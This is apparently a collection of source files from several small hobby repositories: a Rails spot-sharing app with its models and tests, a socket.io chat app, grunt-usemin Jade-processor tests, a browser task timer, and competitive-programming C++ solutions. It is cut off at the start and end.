User.find(params[:id]) @q = @user.spots.ransack(params[:q]) @q.sorts = 'created_at desc' if @q.sorts.empty? @spots = @q.result.page(params[:page]).includes(:favorites) @user_all_spots = @user.spots @user_all_favorites_count = @user_all_spots.joins(:favorites).count @cookies = cookies[:favorite_spot_id] end def index @q = User.ransack(params[:q]) @users = @q.result(distinct: true).page(params[:page]).reverse_order end def edit @user = User.find(params[:id]) end def update @user = User.find(params[:id]) if @user.update(user_params) flash[:notice] = "ใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซใ‚’ๆ›ดๆ–ฐใ—ใพใ—ใŸ" redirect_to user_path(@user.id) else render :edit end end def following @title = "ใƒ•ใ‚ฉใƒญใƒผไธ€่ฆง" @user = User.find(params[:id]) @users = @user.following.page(params[:page]).reverse_order @following_count = User.joins(:following).group("follower_id").count("followed_id") @followers_count = User.joins(:followers).group("followed_id").count("follower_id") @user_spots_last_updated_at = Spot.group("user_id").order("spots.updated_at").pluck(:user_id, :updated_at).to_h render 'show_follow' end def followers @title = "ใƒ•ใ‚ฉใƒญใƒฏใƒผไธ€่ฆง" @user = User.find(params[:id]) @users = @user.followers.page(params[:page]).reverse_order @following_count = User.joins(:following).group("follower_id").count("followed_id") @followers_count = User.joins(:followers).group("followed_id").count("follower_id") @user_spots_last_updated_at = Spot.group("user_id").order("spots.updated_at").pluck(:user_id, :updated_at).to_h render 'show_follow' end private def user_params params.require(:user).permit(:fullname, :nickname, :email, :sex, :birthday, :prefecture, :city, :profile_image, :introduction) end def baria_user if current_user.nil? || User.find(params[:id]).id.to_i != current_user.id flash[:alert] = "ๆจฉ้™ใŒใ‚ใ‚Šใพใ›ใ‚“" redirect_to top_path end end end ``` homes_controller.rb ```class HomesController < ApplicationController def top @q = Spot.ransack(params[:q]) @spots = @q.result(distinct: true).page(params[:page]).includes(:favorites).reverse_order @cookies = cookies[:favorite_spot_id] end def about end end ``` keyword.rb ```FactoryBot.define do factory :keyword do keyword { Faker::Lorem.characters(number: 5) } end end ``` notification_spec.rb ```require 'rails_helper' RSpec.describe 'Notificationใƒขใƒ‡ใƒซใฎใƒ†ใ‚นใƒˆ', type: :model do describe 'ใ‚ขใ‚ฝใ‚ทใ‚จใƒผใ‚ทใƒงใƒณใฎใƒ†ใ‚นใƒˆ' do context 'Userใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it 'serverใจN:1ใจใชใฃใฆใ„ใ‚‹' do expect(Notification.reflect_on_association(:server).macro).to eq :belongs_to end it 'hostN:1ใจใชใฃใฆใ„ใ‚‹' do expect(Notification.reflect_on_association(:host).macro).to eq :belongs_to end end context 'Spotใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it 'N:1ใจใชใฃใฆใ„ใ‚‹' do expect(Notification.reflect_on_association(:spot).macro).to eq :belongs_to end end context 'Commentใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it '1:1ใจใชใฃใฆใ„ใ‚‹' do expect(Notification.reflect_on_association(:comment).macro).to eq :belongs_to end end end end``` keyword_relationship.rb ```FactoryBot.define do factory :keyword_relationship do keyword spot end end ``` user.rb ```class User < ApplicationRecord devise :database_authenticatable, :registerable, :recoverable, :rememberable, :validatable, :timeoutable has_many :spots, dependent: :destroy has_many :comments, dependent: :destroy has_many :favorites, dependent: :destroy has_many :favorited_spots, through: :favorites, source: :spot has_many :active_relationships, class_name: "FollowRelationship", foreign_key: "follower_id", dependent: :destroy has_many :passive_relationships, class_name: "FollowRelationship", foreign_key: "followed_id", dependent: :destroy has_many :following, through: :active_relationships, source: :followed has_many :followers, through: :passive_relationships, source: :follower has_many :active_notifications, class_name: "Notification", foreign_key: "server_id", dependent: :destroy has_many :passive_notifications, class_name: "Notification", foreign_key: "host_id", dependent: :destroy attachment :profile_image #ๅนด้ฝข def age day1 = birthday.strftime("%Y%m%d").to_i day2 = Date.today.strftime("%Y%m%d").to_i (day2 - day1) / 10000 end #่ช•็”Ÿๆ—ฅใฎใƒใƒชใƒ‡ใƒผใ‚ทใƒงใƒณ def birthday_is_valid? errors.add(:birthday, "ใŒ็„กๅŠนใชๆ—ฅไป˜ใงใ™") if birthday.nil? || birthday > Date.today end #ใƒ•ใ‚ฉใƒญใƒผ def follow(other_user) following << other_user end #ใƒ•ใ‚ฉใƒญใƒผ่งฃ้™ค def unfollow(other_user) active_relationships.find_by(followed_id: other_user.id).destroy end #ใƒ•ใ‚ฉใƒญใƒผ็ขบ่ช def following?(other_user) following.include?(other_user) end #ใƒฆใƒผใ‚ถใƒผใŒๆŠ•็จฟใ—ใŸใ‚นใƒใƒƒใƒˆใฎ้ธๅˆฅ def spot_present?(user) spots.find { |f| f.user_id == user.id }.present? end #ใƒญใ‚ฐใ‚คใƒณๆƒ…ๅ ฑ่จ˜ๆ†ถๆฉŸ่ƒฝ def remember_me true end #ใƒ•ใ‚ฉใƒญใƒผๆ™‚ใฎ้€š็Ÿฅ def create_notification_follow!(current_user) temp = Notification.where(["server_id = ? and host_id = ? and kind = ?", current_user.id, id, "follow"]) if temp.blank? notification = current_user.active_notifications.new(host_id: id, kind: "follow") notification.save if notification.valid? end end validates :fullname, presence: true, length: { maximum: 20 } validates :nickname, { presence: true, uniqueness: true, length: { maximum: 20 } } validates :sex, presence: true validate :birthday_is_valid? validates :prefecture, presence: true validates :city, presence: true, length: { maximum: 15 } validates :introduction, length: { maximum: 50 } end ``` notification.rb ```class Notification < ApplicationRecord default_scope->{order(created_at: :desc)} belongs_to :spot, optional: true belongs_to :comment, optional: true belongs_to :server, class_name: 'User', foreign_key: 'server_id', optional: true belongs_to :host, class_name: 'User', foreign_key: 'host_id', optional: true end ```
yuta0627/HelloGit
yuta0627/HelloGit ss.sh ```#!/bin/s ```
yuta4j1/react-chatApp
yuta4j1/react-chatApp header.css.d.ts ```export const navbar: string; export const logoTitle: string; ``` index.ts ```const express = require('express'); const http = require('http'); const socketio = require('socket.io'); const path = require('path'); const app = express(); const PORT = 1234; const server = http.createServer(app).listen( PORT, (): void => { console.log(`โœ“ http listening on ${PORT}`); } ); const io = socketio(server); app.get('/', (req: Express.Request, res: Express.Response) => { res.sendFile(path.resolve(__dirname, 'public/index.html')); }); io.on('connection', (socket: Socket) => { console.log('user connected'); socket.on('message', (msg: Message) => { console.log('message log # ', msg.value); io.emit('message', msg); }); }); ``` messagePanel.css.d.ts ```export const panelContainer: string; export const panelItem: string; ``` socket.ts ```import * as io from 'socket.io-client'; const baseUrl = 'http://localhost:1234/'; const socket: SocketIOClient.Socket = io.connect(baseUrl); // ใ‚ตใƒผใƒใ‹ใ‚‰ๅ—ใ‘ๅ–ใฃใŸmessageใ‚’promiseใซใใ‚‹ใ‚“ใง่ฟ”ใ™ const messagePromise = (msg: string = 'message') => new Promise<Message>(resolve => { socket.on(msg, (message: Message) => { resolve(message); }); }); export const sendMessage = async (msg: Message): Promise<Message> => { if (socket) { socket.emit('message', msg); } return await messagePromise('message'); }; ``` inputMessage.css.d.ts ```export const inputWrap: string; export const inputMessage: string; export const sendButton: string; ``` app.css.d.ts ```export const header: string; export const body: string; export const footer: string; ```
yutachang/potential-spice
yutachang/potential-spice README.md ```# potential-spice ```
yuth/grunt-usemin
yuth/grunt-usemin test-jadeprocessor.js ```'use strict'; var assert = require('assert'); var grunt = require('grunt'); var path = require('path'); var JadeProcessor = require('../lib/jadeprocessor'); describe('jadeprocessor', function () { var filemapping = { 'foo.js': '1234.foo.js', '/foo.js': '/1234.foo.js', 'bar.css': '5678.bar.css', 'image.png': '1234.image.png' }; var revvedfinder = { find: function (s) { return filemapping[s] || s; } }; it('should initialize correctly', function () { var jp = new JadeProcessor('', '', '', 3); assert(jp !== null); assert.equal(3, jp.revvedfinder); assert.equal('\n', jp.linefeed); assert.equal(0, jp.blocks.length); }); it('should *not* skip blank lines', function () { var jadecontent = ' // build:css foo.css \n link(rel="stylesheet" href="bar.css")\n\n link(rel="stylesheet" href="foo.css")\n // endbuild \n'; var jp = new JadeProcessor('', '', jadecontent, 3); assert.equal(1, jp.blocks.length); assert.equal('foo.css', jp.blocks[0].dest); assert.equal(5, jp.blocks[0].raw.length); assert.equal(2, jp.blocks[0].src.length); assert.equal(' ', jp.blocks[0].indent); }); it('should return the right number of blocks with the right number of lines', function () { var filename = __dirname + '/fixtures/usemin.jade'; var jadecontent = grunt.file.read(filename); var jp = new JadeProcessor(path.dirname(filename), '', jadecontent, 3); assert.equal(3, jp.blocks.length); var b1 = jp.blocks[0]; var b2 = jp.blocks[1]; var b3 = jp.blocks[2]; assert.equal(3, b1.raw.length); assert.equal('css', b1.type); assert.equal(1, b1.src.length); assert.equal(15, b2.raw.length); assert.equal('js', b2.type); assert.equal(13, b2.src.length); assert.equal(3, b3.raw.length); assert.equal('js', b3.type); assert.equal(1, b3.src.length); // requirejs has been added also }); it('should also detect block that use alternate search dir', function () { var filename = __dirname + '/fixtures/alternate_search_path.jade'; var htmlcontent = grunt.file.read(filename); var jp = new JadeProcessor(path.dirname(filename), '', htmlcontent, 3); assert.equal(2, jp.blocks.length); var b1 = jp.blocks[0]; var b2 = jp.blocks[1]; assert.equal(4, b1.raw.length); assert.equal('js', b1.type); assert.equal(2, b1.src.length); assert.equal(b1.src[0], 'build/scripts/bar.js'); assert.equal(b1.src[1], 'build/scripts/baz.js'); assert.equal(3, b2.raw.length); assert.equal('js', b2.type); assert.equal(2, b1.src.length); }); it('should detect and handle the usage on RequireJS in blocks', function () { var htmlcontent = '// build:js scripts/amd-app.js \n' + 'script(data-main="scripts/main", src="scripts/vendor/require.js")\n' + 'script(src="foo.js")\n' + '// endbuild'; var jp = new JadeProcessor('', '', htmlcontent, 3); assert.equal(1, jp.blocks.length); assert.ok(jp.blocks[0].requirejs); assert.equal('scripts/amd-app.js', jp.blocks[0].requirejs.dest); assert.equal('scripts', jp.blocks[0].requirejs.baseUrl); assert.equal('scripts/vendor/require.js', jp.blocks[0].requirejs.src); assert.equal('main', jp.blocks[0].requirejs.name); }); it('should take into consideration path of the source file', function () { var htmlcontent = '// build:css bar/foo.css \n' + 'link(rel="stylesheet", href="bar.css")\n' + '// endbuild '; var jp = new JadeProcessor('build', '', htmlcontent, 3); assert.equal(1, jp.blocks.length); assert.equal('build/bar/foo.css', jp.blocks[0].dest); assert.equal(1, jp.blocks[0].src.length); assert.equal('build/bar.css', jp.blocks[0].src[0]); }); it('should take into consideration path of the source file (RequireJS)', function () { var htmlcontent = '// build:js scripts/amd-app.js \n' + 'script(data-main="scripts/main", src="scripts/vendor/require.js")\n' + 'script(src="foo.js")\n' + '// endbuild '; var jp = new JadeProcessor('build', '', htmlcontent, 3); assert.equal(1, jp.blocks.length); assert.equal('build/scripts/amd-app.js', jp.blocks[0].dest); assert.ok(jp.blocks[0].requirejs); assert.equal('build/scripts/amd-app.js', jp.blocks[0].requirejs.dest); assert.equal('build/scripts', jp.blocks[0].requirejs.baseUrl); assert.equal('main', jp.blocks[0].requirejs.name); }); it('should take into consideration source files referenced from root', function () { var htmlcontent = '// build:css /bar/foo.css \n' + 'link(rel="stylesheet", href="bar.css")\n' + '// endbuild'; var jp = new JadeProcessor('', '', htmlcontent, 3); assert.equal(1, jp.blocks.length); assert.equal('bar/foo.css', jp.blocks[0].dest); }); describe('replaceWith', function () { it('should return a string that will replace the furnished block (JS)', function () { var htmlcontent = ' // build:js foo.js \n script(src="scripts/bar.js")\n script(src="baz.js")\n // endbuild \n'; var jp = new JadeProcessor('', '', htmlcontent, 3); var replacestring = jp.replaceWith(jp.blocks[0]); assert.equal(' script(src="foo.js")', replacestring); }); it('should return a string that will replace the furnished block (RequireJS)', function () { var htmlcontent = ' // build:js foo \n script(data-main="scripts/main", src="scripts/vendor/require.js")\n // endbuild \n'; var jp = new JadeProcessor('', '', htmlcontent, 3); var replacestring = jp.replaceWith(jp.blocks[0]); assert.equal(' script(data-main="foo", src="scripts/vendor/require.js")', replacestring); }); it('should return a string that will replace the furnished block (CSS)', function () { var htmlcontent = ' // build:css foo.css \n link(rel="stylesheet", href="bar.css")\n\n link(rel="stylesheet", href="baz.css")\n //endbuild\n'; var jp = new JadeProcessor('', '', htmlcontent, 3); var replacestring = jp.replaceWith(jp.blocks[0]); assert.equal(replacestring, ' link(rel="stylesheet", href="foo.css")'); }); it('should replace with a path relative to the file', function () { var htmlcontent = ' // build:js foo.js script(src="scripts/bar.js")\n script(src="baz.js")\n // endbuild \n'; var jp = new JadeProcessor('build', '', htmlcontent, 3); var replacestring = jp.replaceWith(jp.blocks[0]); assert.equal(replacestring, ' script(src="foo.js")'); }); }); describe('replaceBlocks', function () { it('should replace blocks based on their types', function () { var jsblock = ' // build:js foo.js \n script(src="scripts/bar.js")\n script(src="baz.js")\n // endbuild \n'; var cssblock = ' // build:css foo.css \n link(rel="stylesheet", href="bar.css")\n\n link(rel="stylesheet", href="baz.css")\n // endbuild \n'; var htmlcontent = jsblock + '\n\n' + cssblock; var awaited = ' script(src="foo.js")\n\n\n link(rel="stylesheet", href="foo.css")\n'; var jp = new JadeProcessor('', '', htmlcontent, 3); var replaced = jp.replaceBlocks(); assert.equal(replaced, awaited); }); }); describe('replaceWithRevved', function () { it('should replace file referenced from root', function () { var content = 'script(src="/foo.js")'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.replaceWithRevved(); assert.equal(replaced, 'script(src="/1234.foo.js")'); }); it('should not replace file if no revved version is found', function () { var content = '<script src="bar.js"></script>'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.replaceWithRevved(); assert.equal(replaced, '<script src="bar.js"></script>'); }); it('should not treat file reference that are coming from templating', function () { var content = '<script src="<% my_func() %>"></script>'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.replaceWithRevved(); assert.equal(replaced, '<script src="<% my_func() %>"></script>'); }); it('should not replace the root (i.e /)', function () { var content = '<script src="/"></script>'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.replaceWithRevved(); assert.equal(replaced, '<script src="/"></script>'); }); it('should not replace external references', function () { var content = '<script src="http://bar/foo.js"></script>'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.replaceWithRevved(); assert.equal(replaced, '<script src="http://bar/foo.js"></script>'); }); it('should replace script source with revved version', function () { var content = 'script(src="foo.js")'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.replaceWithRevved(); assert.equal(replaced, 'script(src="' + filemapping['foo.js'] + '")'); }); it('should replace accept additional parameters to script', function () { var content = 'script(src="foo.js", type="text/javascript")'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.replaceWithRevved(); assert.equal(replaced, 'script(src="' + filemapping['foo.js'] + '", type="text/javascript")'); }); it('should not add .js to data-main for requirejs', function () { var content = '<script data-main="bar" src="require.js"></script>'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.replaceWithRevved(); assert.equal(replaced, '<script data-main="bar" src="require.js"></script>'); }); it('should replace CSS reference with revved version', function () { var content = 'link(rel="stylesheet", href="bar.css")'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.replaceWithRevved(); assert.equal(replaced, 'link(rel="stylesheet", href="' + filemapping['bar.css'] + '")'); }); it('should replace img reference with revved version', function () { var content = 'img(src="image.png")'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.replaceWithRevved(); assert.equal(replaced, 'img(src="' + filemapping['image.png'] + '")'); }); it('should replace data reference with revved version', function () { var content = 'li(data-lang="fr", data-src="image.png")'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.replaceWithRevved(); assert.equal(replaced, 'li(data-lang="fr", data-src="' + filemapping['image.png'] + '")'); }); it('should replace image reference in inlined style', function () { var content = 'li(style="background: url("image.png");")'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.replaceWithRevved(); assert.equal(replaced, 'li(style="background: url("' + filemapping['image.png'] + '");")'); }); it('should replace image reference in anchors', function () { var content = 'a(href="image.png")'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.replaceWithRevved(); assert.equal(replaced, 'a(href="' + filemapping['image.png'] + '")'); }); it('should replace image reference in input', function () { var content = 'input(type="image", src="image.png")'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.replaceWithRevved(); assert.equal(replaced, 'input(type="image", src="' + filemapping['image.png'] + '")'); }); }); describe('process', function () { it('should replace blocks by targets and references by revved versions', function () { var content = ' //build:js foo.js \n' + ' script(src="scripts/bar.js")\n' + ' script(src="baz.js")\n' + ' // endbuild \n' + ' img(src="image.png")'; var awaited = ' script(src="' + filemapping['foo.js'] + '")\n' + ' img(src="' + filemapping['image.png'] + '")'; var jp = new JadeProcessor('', '', content, revvedfinder); var replaced = jp.process(); assert.equal(replaced, awaited); }); }); }); ```
yuuhidaisuki/Timer
yuuhidaisuki/Timer schedule.js ```var timers = {}; var tasknumber = 0; function findTagsByName(tagName, name){ var array = []; var tags = document.body.getElementsByTagName(tagName); for(var i = 0; i < tags.length ; i++){ if(tags[i].name === name){ array.push(tags[i]); } } return array; } function findTagsByID(tagName, id){ var array = []; var tags = document.body.getElementsByTagName(tagName); for(var i = 0; i < tags.length ; i++){ if(tags[i].id === id){ array.push(tags[i]); } } return array; } function timer(field){ //ใ‚ฟใ‚คใƒžใƒผใŒไบŒ้‡่ตทๅ‹•ใ—ใชใ„ใ‚ˆใ†ใซใ™ใ‚‹ใ€‚ if(field in timers){ return; } // setIntervalใงใ‚ณใƒผใƒซใƒใƒƒใ‚ฏใซๅผ•ๆ•ฐใ‚’ๆŒ‡ๅฎšใ—ใŸใ„ๅ ดๅˆใฏใ€ // ็„กๅ้–ขๆ•ฐใ‚’็”จใ„ใŸใƒ†ใ‚ฏใƒ‹ใƒƒใ‚ฏใŒใ‚ใ‚‹ใ€‚ timers[field] = setInterval(function(){ cup(field)},1000); } var cup = function countUp(field){ var spans = findTagsByName("span", field); if(spans.length == 0){ console.log("countUp: not found findTagsByName"); }else if(spans.length > 1){ console.log("countUp: too Match mached tags"); } var span = spans[0]; var cur_time = timeToInt(span.textContent); span.textContent = timeToString(cur_time + 1); } function timeToInt(time_string){ var hour = time_string.split(":")[0]; var min = time_string.split(":")[1]; var sec = time_string.split(":")[2]; return Math.floor(parseInt(hour) * 3600) + Math.floor(parseInt(min) * 60) + Math.floor(parseInt(sec)); } function timeToString(time_sec){ return Math.floor(time_sec / 3600) + ":" + Math.floor(Math.floor(time_sec % 3600) / 60 ) + ":" + Math.floor(time_sec % 60); } function stopTime(field){ clearInterval(timers[field]); // ใ“ใฎๆ™‚็‚นใงใ“ใฎใƒ•ใ‚ฃใƒผใƒซใƒ‰ใฏ็”จ็„กใ—ใชใฎใงๅ‰Š้™ค delete timers[field]; } function clearTime(field){ stopTime(field); findTagsByName("span", field)[0].textContent = timeToString(0); } function addTask(field, parentNode){ tasknumber++; var name = "task" + tasknumber; var new_element = makeDiv(name, name + ":"); var new_text = document.createElement("input"); new_text.name = name; new_text.type = "text"; new_element.appendChild(new_text); new_element.appendChild(makeButton(name, "start", function(){ timer(name); })); new_element.appendChild(makeButton(name, "stop", function(){ stopTime(name); })); new_element.appendChild(makeButton(name, "clear", function(){ clearTime(name); })); new_element.appendChild(makeSpan(name, "0:0:0")); parentNode.appendChild(new_element); } function makeButton(name, value, handler){ var new_elem = document.createElement("input"); new_elem.type = "button"; new_elem.value = value; new_elem.onclick = handler; return new_elem; } function makeDiv(name, innerHTML){ var new_elem = document.createElement("div"); new_elem.name = name; new_elem.innerHTML = innerHTML; return new_elem; } function makeSpan(name, innerHTML){ var new_elem = document.createElement("span"); new_elem.name = name; new_elem.innerHTML = innerHTML; return new_elem; } function outputText(textNode, format){ var outText = ""; var totalTime = 0; var tasks_div = findTagsByID('div', 'tasklist'); var tasks = tasks_div[0].children; for(i = 0; i < tasks.length; i++){ var task_children = tasks[i].children; for(j = 0; j < task_children.length; j++){ if(task_children[j].tagName === "INPUT" && task_children[j].type === "text"){ if(format === "plane"){ outText += "ใƒป" + task_children[j].value; }else if(format === "csv"){ outText += task_children[j].value; } } if(task_children[j].tagName === "SPAN" ){ if(format === "plane"){ outText += "๏ผš" + task_children[j].textContent + "<br>" }else if(format === "csv"){ outText += "," + task_children[j].textContent +"<br>" } totalTime += timeToInt(task_children[j].textContent); } } } var temp_timeLimit = /^[0-9]+:[0-9]{1,2}:[0-9]{1,2}$/.test(document.getElementsByName("setTimeLimit")[0].value); var timeLimit = 7 * 60 * 60 + 30 * 60; if(temp_timeLimit){ var temp = document.getElementsByName("setTimeLimit")[0].value.split(":"); timeLimit = parseInt(temp[0]) * 60 * 60 + parseInt(temp[1]) * 60 + parseInt(temp[2]); } var otherTime = timeLimit - totalTime; textNode.innerHTML = outText; if(format === "plane"){ textNode.innerHTML += "Total:" + timeToString(totalTime) + "<br>"; textNode.innerHTML += "Other:" + timeToString(otherTime) + "<br>"; }else if(format === "csv"){ textNode.innerHTML += "Total," + timeToString(totalTime) + "<br>"; textNode.innerHTML += "Other," + timeToString(otherTime) + "<br>"; } } window.onload = function(){ addTask('task0', findTagsByID('div', 'tasklist')[0] ) }; ``` README.md ```#Timer ## Description This is a simple task timer. This works on web browser. ## Usage 1. Downlaod schedule.html and schedule.js. 2. Put them into same local directory. 3. Open schedule.html with your web browser. ```
yuuu14/competitve_programming_ss20
yuuu14/competitve_programming_ss20 covering.cpp ```#include <iostream> #include <vector> #include <string> #include <algorithm> #include <chrono> #include <fstream> #define INPUT cin using namespace std; template <typename T> bool contains(vector<T> A, vector<T> B); pair<long, vector<int>> getset(string s); int main() { fstream file("2.in"); vector<pair<long, vector<int>>> sets; string s; auto start = chrono::high_resolution_clock::now(); while (getline(INPUT, s)) { pair<long, vector<int>> newset(getset(s)); for (auto &set : sets) { if (set.second.size() > newset.second.size()) { if (contains<int>(set.second, newset.second)) set.first++; } else if (set.second.size() < newset.second.size()) { if (contains<int>(newset.second, set.second)) newset.first++; } else if (set.second == newset.second) { set.first++; newset.first++; } } sets.push_back(newset); } auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); //cout << "Time taken: " << duration.count() << " microseconds" << endl; const auto p = minmax_element(sets.begin(), sets.end()); cout << p.second->first << endl; //sort(sets.begin(), sets.end()); //for (int i = 1; i <= sets.size() && i <= 10; ++i) cout << sets[sets.size()-i].first << " "; /*for (auto set : sets) { for (auto ele : set.second) cout << ele << " "; cout << "subsetnum: " << set.first << endl; }*/ return 0; } pair<long, vector<int>> getset(string s) { string num(""); vector<int> set; for (auto c : s) { if (!isdigit(c)) { if (!num.empty()) { int tmp = stoi(num); auto it = find(set.begin(), set.end(), tmp); if (it == set.end()) set.push_back(tmp); num.clear(); } } else { num += c; } } sort(set.begin(), set.end()); return {0, set}; } template <typename T> bool contains(vector<T> A, vector<T> B) { return includes(A.begin(), A.end(), B.begin(), B.end()); } ``` distance.py ```import matplotlib.pyplot as plt c1 = plt.Circle((0, 0), 2, color='r') fig, ax = plt.subplots() ax.add_artist(c1) plt.show()``` simplify_.cpp ```#include <iostream> #include <string> #include <vector> #include <tuple> #include <cstring> #include <fstream> #include <numeric> #include <chrono> //#include <boost/algorithm/string/join.hpp> #define INPUT file #define ADD -1 #define MUL -2 #define ADD_ '+' #define MUL_ '*' using namespace std; bool contain_0or1(string); string simplify_(string); bool is_num(string); struct Node { short key; vector<Node *> child; }; class Parser { public: Node *ast = new Node; ~Parser() { free_node(ast); } /* create new node from subtree */ Node* create_node(string subtree) { Node* tmp = new Node; parsing(subtree, tmp); return tmp; } void sizeof_tree() { cout << "size of ast: " << sizeof(ast) << endl; } void buill_ast(string to_parse) { parsing(to_parse, ast); } void print_ast() { printing(ast); cout << endl; } void printing(Node* node) { if (node->child.size() == 0) { cout << node->key; return; } if (node->key == ADD) cout << "+("; else cout << "*("; for (auto it = node->child.begin(); it+1 != node->child.end(); ++it) { printing(*it); cout << ","; //cout << "Result: "; } printing(node->child.back()); cout << ")"; } /* build ast tree, return and/or value or direct value of number */ void parsing(string tree, Node* parent) { if (is_num(tree)) { parent->key = (long)stoi(tree); } switch (tree[0]) { case '+': parent->key = ADD; break; case '*': parent->key = MUL; break; } long lpn = 0, rpn = 0; // num of left/right parenthesis string stree(""); for (unsigned int i = 1; i < tree.size(); ++i) { if (tree[i] == '(') { lpn++; if (lpn-rpn != 1) stree += '('; } else if (tree[i] == ')') { rpn++; if (lpn-rpn <= 1) { stree = lpn-rpn == 0? stree: stree + ')'; if (lpn-rpn == 0 && stree.empty()) break; parent->child.push_back(create_node(stree)); stree.erase(); } else stree += ')'; } else if (tree[i] == ',' && (lpn-rpn == 1)) { if (stree.empty()) continue; parent->child.push_back(create_node(stree)); stree.erase(); } else stree += tree[i]; } } void free_node(Node* node) { /*while(node->child.size()) { free_node(node->child[0]); }*/ vector<int> idx_delete; for (unsigned int i = 0; i < node->child.size(); ++i) idx_delete.push_back(i); for (auto it = idx_delete.rbegin(); it != idx_delete.rend(); ++it) { free_node(node->child[*it]); node->child.erase(node->child.begin() + *it); } delete node; return; } void free_child_by_index(Node* parent, vector<int> idx_delete) { for (auto it = idx_delete.rbegin(); it != idx_delete.rend(); ++it) { free_node(parent->child[*it]); parent->child.erase(parent->child.begin() + *it); } } void simplify() { simp(ast); } void simp(Node* node) { if (node->child.size() == 0) return; for (auto it = node->child.begin(); it != node->child.end(); ++it) simp(*it); if (node->child.size() >= 2) { unsigned int idx = 0; vector<int> idx_delete; for (; idx < node->child.size(); ++idx) { if ((node->key == ADD && node->child[idx]->key == 1) || (node->key == MUL && node->child[idx]->key == 0)) { node->key = node->child[idx]->key; //while (node->child.size()) free_node(node->child[0]); vector<int> idx_delete_; for (unsigned int i = 0; i < node->child.size(); ++i) idx_delete_.push_back(i); free_child_by_index(node, idx_delete_); //node->child.clear(); break; } if ((node->key == ADD && node->child[idx]->key == 0) || (node->key == MUL && node->child[idx]->key == 1)) if (node->child.size()-idx_delete.size() > 2) // keep at least 2 children nodes idx_delete.push_back(idx); } // remove 0/1 by idx_delete free_child_by_index(node, idx_delete); } /* *or+(1or0, s) */ if (node->child.size() >= 2) { int not0and1 = -1; if ((node->key == ADD && node->child[0]->key == 0) || (node->key == MUL && node->child[0]->key == 1)) not0and1 = 1; else if ((node->key == ADD && node->child[1]->key == 0) || (node->key == MUL && node->child[1]->key == 1)) not0and1 = 0; if (not0and1 != -1) { //while (node->child.size()) free_node(node->child[0]); //for (auto it = node->child.rbegin(); it != node->child.rend(); ++it) free_node(*it); //free_child(node); node->key = node->child[not0and1]->key; for (auto it = node->child[not0and1]->child.begin(); it != node->child[not0and1]->child.end(); ++it) { node->child.push_back(*it); } vector<int> idx_delete = {0, 1}; free_child_by_index(node, idx_delete); } } } bool is_num(string s) { for (unsigned int i = 0; i < s.size(); ++i) if (!isdigit(s[i])) return false; return true; } }; int main() { Parser myParser; ifstream file("3.in"); string s; getline(INPUT, s); auto start = chrono::high_resolution_clock::now(); cout << simplify_(s) << endl; //myParser.buill_ast(s); //myParser.simplify(); //myParser.print_ast(); //myParser.sizeof_tree(); auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); cout << "Time taken: " << duration.count() << " microseconds" << endl; return 0; } bool contain_0or1(string s) { for (unsigned int i = 1; i < s.size()-1; ++i) { if ((s[i] == '0' || s[i] == '1') && !isdigit(s[i-1]) && !isdigit(s[i+1])) return true; } return false; } /* return string removed first level of 1 and 0*/ string simplify_(string tree) { //cout << "cur_tree:" << tree << endl; if (is_num(tree)) {return tree;} long lpn = 0, rpn = 0; vector<string> strees; string stree(""); for (auto c = tree.begin()+1; c != tree.end(); ++c) { if (*c == '(') { lpn++; if (lpn-rpn != 1) stree += *c; } else if (*c == ')') { rpn++; if (lpn-rpn <= 1) { stree = lpn-rpn == 0 ? stree : stree + ')'; if (lpn-rpn == 0 && stree.empty()) break; string stree_simplified = simplify_(stree); //cout << "stree_simplified: "<< stree_simplified << endl; strees.push_back(stree_simplified); stree.erase(); } else stree += ')'; } else if (*c == ',' && (lpn-rpn == 1)) { if (stree.empty()) continue; // important!!! if having multiple subtree string stree_simplified = simplify_(stree); //cout << "stree_simplified: "<< stree_simplified << endl; strees.push_back(stree_simplified); stree.erase(); } else stree += *c; } /*for (auto stree : strees) { for (auto ele : stree) cout << ele; cout << endl; }*/ // tree[0] - andor char andor = tree[0]; for (auto it = strees.begin(); it != strees.end();) { if (is_num(*it)) { if ((andor == MUL_ && *it == "0") || (andor == ADD_ && *it == "1")) { //cout << "*0/+1:" <<(*it == "0" ? "0" : "1") << endl; return *it == "0" ? "0" : "1"; } else if (*it == "0" || *it == "1") { it = strees.erase(it); if (strees.size() == 1) { //cout<< "res1: " <<strees[0] <<endl; return strees[0];} } else ++it; } else ++it; } //cout << boost::algorithm::join(strees, ",") << endl; string res = andor == MUL_ ? "*(" : "+("; //cout << res << endl; for (unsigned i = 0; i < strees.size()-1; ++i) res += strees[i] + ","; res += strees[strees.size()-1] + ")"; //cout << "res2: " << res << endl; return res; } bool is_num(string s) { for (unsigned int i = 0; i < s.size(); ++i) if (!isdigit(s[i])) return false; return true; } ``` push.sh ```#!/bin/bash git add $1 git commit -m "$2" if [[ -z $3 ]]; then BRANCH="master" else BRANCH=$3 fi git checkout $BRANCH git push origin $BRANCH``` inequalities.cpp ```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file> // compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file> // Output file will be a.out in both cases #include <bits/stdc++.h> #include <iostream> #include <vector> #include <map> #include <set> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> #include <cmath> using namespace std; typedef long long ll; #define debug(x) (cerr 